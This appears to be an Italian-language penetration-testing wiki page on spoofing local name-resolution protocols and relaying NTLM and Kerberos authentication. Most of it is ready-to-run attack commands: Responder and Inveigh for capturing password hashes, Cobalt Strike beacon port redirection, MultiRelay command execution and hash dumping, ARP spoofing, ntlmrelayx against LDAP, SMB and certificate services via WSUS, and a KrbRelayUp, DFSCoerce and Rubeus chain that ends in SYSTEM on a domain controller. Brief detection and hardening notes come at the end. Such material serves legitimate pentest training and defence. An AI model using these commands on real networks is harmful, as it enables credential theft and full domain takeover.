Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Reading time: 15 minutes

Protocolli di rete

Protocolli di risoluzione nomi locali

• LLMNR, NBT-NS, and mDNS:
• Microsoft e altri sistemi operativi usano LLMNR e NBT-NS per la risoluzione dei nomi locali quando il DNS fallisce. Allo stesso modo, i sistemi Apple e Linux usano mDNS.
• Questi protocolli sono suscettibili all'intercettazione e allo spoofing a causa della loro natura broadcast non autenticata su UDP.
• Responder può essere usato per impersonare servizi inviando risposte contraffatte agli host che effettuano query su questi protocolli.
• Ulteriori informazioni sull'impersonificazione dei servizi usando Responder si trovano here.

Protocollo Web Proxy Auto-Discovery (WPAD)

• WPAD permette ai browser di scoprire automaticamente le impostazioni del proxy.
• La scoperta avviene tramite DHCP, DNS, o con fallback a LLMNR e NBT-NS se il DNS fallisce.
• Responder può automatizzare gli attacchi WPAD, indirizzando i client verso server WPAD dannosi.

Responder per il Poisoning dei protocolli

• Responder è uno strumento usato per il poisoning delle query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base al tipo di query, prendendo di mira principalmente i servizi SMB.
• Viene fornito pre-installato in Kali Linux, configurabile in /etc/responder/Responder.conf.
• Responder mostra gli hash catturati sullo schermo e li salva nella directory /usr/share/responder/logs.
• Supporta sia IPv4 che IPv6.
• La versione Windows di Responder è disponibile here.

Esecuzione di Responder

• Per eseguire Responder con impostazioni predefinite: responder -I <Interface>
• Per probing più aggressivo (con potenziali effetti collaterali): responder -I <Interface> -P -r -v
• Tecniche per catturare challenge/response NTLMv1 per cracking più semplice: responder -I <Interface> --lm --disable-ess
• L'impersonificazione WPAD può essere attivata con: responder -I <Interface> --wpad
• Le richieste NetBIOS possono essere risolte verso l'IP dell'attaccante, e può essere impostato un proxy di autenticazione: responder.py -I <interface> -Pv

DHCP Poisoning con Responder

• Lo spoofing delle risposte DHCP può avvelenare permanentemente le informazioni di routing della vittima, offrendo un'alternativa più furtiva rispetto all'ARP poisoning.
• Richiede una conoscenza precisa della configurazione della rete target.
• Per eseguire l'attacco: ./Responder.py -I eth0 -Pdv
• Questo metodo può catturare efficacemente hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni di rete.

Cattura delle credenziali con Responder

• Responder impersonerà i servizi usando i protocolli sopra menzionati, catturando credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi spoofati.
• Si possono tentare downgrade a NetNTLMv1 o disabilitare ESS per facilitare il cracking delle credenziali.

È fondamentale notare che l'impiego di queste tecniche deve avvenire in modo legale ed etico, assicurandosi di avere le autorizzazioni appropriate ed evitando interruzioni o accessi non autorizzati.

Inveigh

Inveigh è uno strumento per penetration tester e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo spoofing e attacchi man-in-the-middle. Lo strumento si è evoluto da uno script PowerShell a un binario C#, con Inveigh e InveighZero come le versioni principali. Parametri e istruzioni dettagliate si trovano nella wiki.

Inveigh può essere utilizzato tramite PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Oppure eseguito come un binario C#:

Inveigh.exe

NTLM Relay Attack

Questo attacco sfrutta sessioni di autenticazione SMB per accedere a una macchina target, ottenendo una system shell se ha successo. I prerequisiti chiave includono:

• L'utente che si autentica deve avere accesso Local Admin sull'host relayed.
• SMB signing dovrebbe essere disabilitato.

445 Port Forwarding and Tunneling

In scenari in cui l'introduzione diretta nella rete non è fattibile, il traffico sulla porta 445 deve essere inoltrato e tunnelizzato. Strumenti come PortBender aiutano a reindirizzare il traffico della porta 445 verso un'altra porta, cosa essenziale quando è disponibile accesso Local Admin per il driver loading.

Configurazione e funzionamento di PortBender in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Altri strumenti per NTLM Relay Attack

• Metasploit: Configurare con proxies, dettagli di host locale e remoto.
• smbrelayx: Uno script Python per il relaying di SMB sessions ed executing commands o deploying backdoors.
• MultiRelay: Uno strumento della suite Responder per relay di specific users o di tutti gli users, executing commands, o dump hashes.

Ogni tool può essere configurato per operare tramite un SOCKS proxy se necessario, permettendo attacchi anche con accesso di rete indiretto.

Operazione di MultiRelay

MultiRelay viene eseguito dalla /usr/share/responder/tools directory, mirato a specifici IP o users.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Questi strumenti e tecniche costituiscono un set completo per condurre NTLM Relay attacks in diversi ambienti di rete.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

I client WSUS si autenticano al loro server di aggiornamenti usando NTLM su HTTP (8530) o HTTPS (8531). Quando HTTP è abilitato, i check-in periodici dei client possono essere forzati o intercettati sul segmento locale e rilanciati con ntlmrelayx verso endpoint LDAP/LDAPS/SMB o AD CS HTTP (ESC8) senza rompere nessun hash. Questo si mimetizza nel traffico di aggiornamento normale e frequentemente produce autenticazioni di account macchina (HOST$).

Cosa cercare

• GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and ...\WindowsUpdate\AU:
• WUServer (e.g., http://wsus.domain.local:8530)
• WUStatusServer (reporting URL)
• UseWUServer (1 = WSUS; 0 = Microsoft Update)
• DetectionFrequencyEnabled and DetectionFrequency (ore)
• WSUS SOAP endpoints used by clients over HTTP:
• /ClientWebService/client.asmx (approvals)
• /ReportingWebService/reportingwebservice.asmx (status)
• Porte predefinite: 8530/tcp HTTP, 8531/tcp HTTPS

Riconoscimento

• Non autenticato
• Scansione per listener: nmap -sSVC -Pn --open -p 8530,8531 -iL
• Intercetta il traffico WSUS HTTP via L2 MITM e registra client/endpoint attivi con wsusniff.py (solo HTTP a meno che tu non riesca a far fidare i client del tuo certificato TLS).
• Autenticato
• Analizza i SYSVOL GPOs per le chiavi WSUS con MANSPIDER + regpol (lo wrapper wsuspider.sh riassume WUServer/WUStatusServer/UseWUServer).
• Interroga endpoint a scala da host (NetExec) o localmente: nxc smb -u -p -M reg-query -o PATH="HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" KEY="WUServer" reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

Passaggi per il relay HTTP end-to-end

1. Posizionati per MITM (same L2) in modo che un client risolva il server WSUS verso di te (ARP/DNS poisoning, Bettercap, mitm6, etc.). Esempio con arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

2. Reindirizza la porta 8530 al tuo listener di relay (opzionale, comodo): iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530 iptables -t nat -L PREROUTING --line-numbers

3. Avvia ntlmrelayx con l'HTTP listener (richiede il supporto HTTP listener in Impacket; vedi i PR sotto): ntlmrelayx.py -t ldap:// -smb2support -socks --keep-relaying --http-port 8530

Altri target comuni:

• Relay verso SMB (se SMB signing disabilitato) per exec/dump: -t smb://
• Relay verso LDAPS per modifiche di directory (es., RBCD): -t ldaps://
• Relay verso AD CS web enrollment (ESC8) per generare un certificato e poi autenticarsi via Schannel/PKINIT: ntlmrelayx.py --http-port 8530 -t http:///certsrv/certfnsh.asp --adcs --no-http-server Per percorsi di abuso AD CS più approfonditi e tooling, vedi la pagina AD CS:

AD CS Domain Escalation

4. Forza un check-in del client o aspetta il suo piano. Dal client: wuauclt.exe /detectnow o usa l'interfaccia Windows Update (Check for updates).

5. Usa le sessioni SOCKS autenticate (se -socks) o i risultati del relay diretto per post-exploitation (modifiche LDAP, operazioni SMB, o emissione di certificati AD CS per autenticazioni successive).

Vincolo HTTPS (8531)

• L'intercettazione passiva di WSUS su HTTPS è inefficace a meno che i client non si fidino del tuo certificato. Senza un certificato fidato o un altro break TLS, l'handshake NTLM non può essere raccolto/relayato dal traffico WSUS HTTPS.

Note

• WSUS è stato dichiarato deprecato ma rimane ampiamente distribuito; HTTP (8530) è ancora comune in molti ambienti.
• Helper utili: wsusniff.py (osservare i check-in WSUS HTTP), wsuspider.sh (enumerare WUServer/WUStatusServer dai GPO), NetExec reg-query a scala.
• Impacket ha ripristinato il supporto HTTP listener per ntlmrelayx nel PR #2034 (originariamente aggiunto nel PR #913).

Force NTLM Logins

In Windows potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie. Leggi la pagina seguente per imparare come:

Force NTLM Privileged Authentication

Kerberos Relay attack

Un Kerberos relay attack ruba un AP-REQ ticket da un servizio e lo riutilizza contro un secondo servizio che condivide la stessa chiave dell'account macchina (perché entrambi gli SPN stanno sullo stesso account macchina $). Questo funziona anche se le classi di servizio degli SPN differiscono (es. CIFS/ → LDAP/) perché la chiave che decripta il ticket è l'NT hash della macchina, non la stringa SPN stessa, e la stringa SPN non fa parte della firma.

Diversamente dall'NTLM relay, il salto è limitato allo stesso host ma, se punti a un protocollo che ti permette di scrivere su LDAP, puoi concatenare in Resource-Based Constrained Delegation (RBCD) o AD CS enrollment e ottenere NT AUTHORITY\SYSTEM in un solo colpo.

Per informazioni dettagliate su questo attacco controlla:

• https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

• https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/

• 1. Fondamenti di Kerberos

• I ticket sono criptati con la chiave derivata dalla password dell'account che possiede lo SPN.
• L'Authenticator dentro l'AP-REQ ha un timestamp di 5 minuti; il replay entro quella finestra è valido finché la cache del servizio non vede un duplicato.
• Windows raramente verifica se la stringa SPN nel ticket corrisponde al servizio che stai colpendo, quindi un ticket per CIFS/HOST normalmente si decripta correttamente su LDAP/HOST.

• 2. Cosa deve essere vero per fare relay Kerberos

1. Chiave condivisa: gli SPN sorgente e target appartengono allo stesso account macchina (default sui server Windows).
2. Nessuna protezione del canale: SMB/LDAP signing disabilitato e EPA disabilitato per HTTP/LDAPS.
3. Puoi intercettare o costringere l'autenticazione: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, ecc..
4. Sorgente del ticket non già usata: vinci la gara prima che il pacchetto reale arrivi o bloccala completamente; altrimenti la cache di replay del server genera l'Event 4649.
5. Devi in qualche modo essere in grado di eseguire un MitM nella comunicazione — magari facendo parte del gruppo DNSAmins per modificare il DNS del dominio o potendo cambiare il file HOST della vittima.

Kerberos Relay Steps

• 3.1 Riconoscimento dell'host

# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName

• 3.2 Avvia il listener di relay

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp racchiude KrbRelay → LDAP → RBCD → Rubeus → SCM bypass in un unico binario.

• 3.3 Coerce Kerberos auth

# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce fa sì che il DC invii a noi un ticket Kerberos CIFS/DC01.

• 3.4 Relay the AP-REQ

KrbRelay estrae il GSS blob da SMB, lo ricapsula in un LDAP bind e lo inoltra a ldap://DC01—l'autenticazione riesce perché la stessa chiave lo decifra.

• 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM

# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Ora possiedi NT AUTHORITY\SYSTEM.

Altri percorsi da conoscere

Risoluzione problemi

Rilevamento

• Aumento di Event 4769 per CIFS/, HTTP/, LDAP/ dalla stessa sorgente in pochi secondi.
• Event 4649 sul servizio indica replay rilevato.
• Accesso Kerberos da 127.0.0.1 (relay a SCM locale) è altamente sospetto — mappalo tramite la regola Sigma nei documenti KrbRelayUp.
• Monitora le modifiche agli attributi msDS-AllowedToActOnBehalfOfOtherIdentity o msDS-KeyCredentialLink.

Rafforzamento

1. Enforce LDAP & SMB signing + EPA su ogni server.
2. Split SPNs in modo che HTTP non sia sullo stesso account di CIFS/LDAP.
3. Patchare i vettori di coercizione (PetitPotam KB5005413, DFS, AuthIP).
4. Imposta ms-DS-MachineAccountQuota = 0 per fermare i join di computer non autorizzati.
5. Allerta su Event 4649 e accessi Kerberos di loopback inattesi.

References

• https://intrinium.com/smb-relay-attack-tutorial/
• https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
• https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
• https://intrinium.com/smb-relay-attack-tutorial/
• https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
• WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)
• GoSecure – Abusing WSUS to enable NTLM relaying attacks
• Impacket PR #2034 – Restore HTTP server in ntlmrelayx
• Impacket PR #913 – HTTP relay support
• WSUScripts – wsusniff.py
• WSUScripts – wsuspider.sh
• MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol
• Microsoft – WSUS deprecation announcement